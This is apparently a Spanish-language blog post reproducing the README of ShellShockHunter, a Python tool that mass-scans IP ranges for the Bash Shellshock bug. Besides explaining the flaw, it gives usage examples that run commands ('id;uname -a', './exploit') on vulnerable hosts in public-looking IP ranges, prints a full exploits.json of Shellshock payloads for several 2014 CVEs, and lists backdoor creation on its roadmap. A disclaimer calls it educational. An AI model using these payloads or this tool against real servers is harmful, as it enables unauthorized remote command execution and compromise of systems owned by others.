Es una herramienta sencilla para probar la vulnerabilidad shellshock.
La importancia de probar la vulnerabilidad Shellshock en aplicaciones web o servidores web es imprescindible. Hay muchas herramientas disponibles en línea que pueden usarse para averiguar si la vulnerabilidad existe o no. ShellshockHunter es una herramienta gratuita que realiza tal tarea.
Shellshock (fallo de software)
Shellshock, también conocido como Bashdoor, es una familia de fallos de seguridad en el shell Bash de Unix, el primero de los cuales fue revelado el 24 de septiembre de 2014. Shellshock podría permitir a un atacante hacer que Bash ejecute comandos arbitrarios y obtener acceso no autorizado a muchos servicios orientados a Internet, como los servidores web, que utilizan Bash para procesar solicitudes.
Espera, ¿ejecución remota de comandos en bash? Probablemente te estés preguntando: “¿Cómo puede alguien ejecutar remotamente comandos en un shell local?“.
La cuestión comienza con mod_cgi y cómo los servidores web interactúan con los programas CGI (que pueden estar escritos en Perl, PHP, Shell scripting o cualquier otro lenguaje). El servidor web les pasa variables de usuario (de entorno) para que puedan hacer su trabajo. En términos simples, esta vulnerabilidad permite a un atacante pasar un comando como variable que es ejecutado por bash.
Esto significa que si estás usando mod_cgi en tu servidor web y tienes un CGI escrito en shell script, estás en graves problemas. Deja todo ahora y parchea tus servidores.
Si tienes un CGI escrito en cualquier otro lenguaje, pero estás usando “system()“, “(backticks)” o ejecutando cualquier comando desde el CGI, estás en graves problemas. Deja todo ahora y parchea tus servidores.
Si no sabes lo que tienes, deja todo ahora y parchea tus servidores.
Descargo de responsabilidad
Este programa o los anteriores son SOLO para fines educativos. No lo utilices sin permiso. Se aplica la exención de responsabilidad habitual, especialmente el hecho de que @MrCl0wnLab no es responsable de ningún daño causado por el uso directo o indirecto de la información o la funcionalidad proporcionada por estos programas.
El autor o cualquier proveedor de Internet no tiene ninguna responsabilidad por el contenido o el mal uso de estos programas o sus derivados. Al utilizar estos programas aceptas el hecho de que cualquier daño (pérdida de datos, caída del sistema, compromiso del sistema, etc.) causado por el uso de estos programas no es responsabilidad de MrCl0wnLab ni de EsGeeks.
Instalación y Uso
Utiliza el gestor de paquetes pip para instalar las dependencias.
pip install shodan
pip install ipinfo
Para mostrar la ventana de ayuda, escribe:
python main.py --help
,/
,'/
,' /
,' /_____,
.'____ ,'
/ ,'
/ ,'
/,'
/'
____ _ _____ _ _ ____ _ ___ _
/ ___|| |__ |___ /| | | | / ___|| |__ / _ \ ___| | __
\___ \| '_ \ |_ \| | | | \___ \| '_ \| | | |/ __| |/ /
___) | | | |___) | |___| |___ ___) | | | | |_| | (__| <
|____/|_| |_|____/|_____|_____|____/|_| |_|\___/ \___|_|\_\
__ _ _ _ __
| _| | | | |_ _ _ __ | |_ ___ _ __ |_ |
| | | |_| | | | | '_ \| __/ _ \ '__| | |
| | | _ | |_| | | | | || __/ | | |
| | |_| |_|\__,_|_| |_|\__\___|_| | |
|__| |__| v1.0
By: MrCl0wn / https://blog.mrcl0wn.com
usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>]
[--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <20>]
[--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug]
optional arguments:
-h, --help show this help message and exit
--file <ips.txt> Input your target host lists
--range <ip-start>,<ip-end> Set range IP Eg.: 192.168.15.1,192.168.15.100
--cmd-cgi <command shell> Define shell command that will be executed in the payload
--exec-vuln <command shell> Executing commands on vulnerable targets
--thread <20>, -t <20> Eg. 20
--check Check for shellshock vulnerability
--ssl Enable request with SSL
--cgi-file <cgi.txt> Defines a CGI file to be used
--timeout <5> Set connection timeout
--all Teste all payloads
--debug, -d Enable debug mode
Ejemplos de comando:
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'
python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'
python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'
python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"'
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"'
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"' --debug
Capturas de pantalla
INICIO
PROCESO
COMANDO ESPECIAL ( –exec-vuln ‘echo “TARGET“‘ )
COMANDO ( –debug )
Archivo fuente ( Exploits )
pwd: assets/exploits.json
{
"DEFAULT":
"() { :; }; echo ; /bin/bash -c '_COMMAND_'",
"CVE-2014-6271":
"() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'",
"CVE-2014-6271-2":
"() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'",
"CVE-2014-6271-3":
"() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;",
"CVE-2014-7169":
"() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat echo",
"CVE-2014-7186":
"/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'",
"CVE-2014-7187":
"(for x in {1..200} ; do echo \"for x$x in ; do :\"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'",
"CVE-2014-6278":
"() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'",
"CVE-2014-6278-2":
"shellshocker='() { echo _CHECKER_; }' bash -c shellshocker",
"CVE-2014-6277":
"() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_",
"CVE-2014-*":
"() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'"
}
Archivo fuente ( Config )
pwd: assets/config.json
{
"config": {
"threads": 20,
"path": {
"path_output": "output/",
"path_wordlist": "wordlist/",
"path_modules": "modules/",
"path_assets": "assets/"
},
"files_assets":{
"config": "assets/config.json",
"autor": "assets/autor.json",
"exploits": "assets/exploits.json"
},
"api":{
"shodan":"",
"ipinfo":""
}
}
}
Árbol
├── assets
│ ├── autor.json
│ ├── config.json
│ ├── exploits.json
│ └── prints
│ ├── banner.png
│ ├── print00.png
│ ├── print01.png
│ ├── print02.png
│ └── print03.png
├── LICENSE
├── main.py
├── modules
│ ├── banner_shock.py
│ ├── color_shock.py
│ ├── debug_shock.py
│ ├── file_shock.py
│ ├── __init__.py
│ ├── request_shock.py
│ ├── shodan_shock.py
│ └── thread_shock.py
├── output
│ └── vuln.txt
├── README.md
└── wordlist
└── cgi.txt
Hoja de ruta
Empecé este proyecto para estudiar un poco más de Python e interactuar más con APIS como shodan e ipinfo.
- Estructura de la línea de comandos
- Banner
- Clase de gestión de archivos
- Clase de gestión de HttpRequests
- Clase de gestión de hilos
- Archivo fuente de exploits
- Color en el proceso
- Shell Exec en objetivos vulnerables
- Depuración de procesos
- Integración con API ipinfo
- Integración con API shodan
- Integración con API Telegram
- Creación de puertas traseras
- Filtro visual
- Manipulación de cabeceras
https://github.com/MrCl0wnLab/ShellShockHunter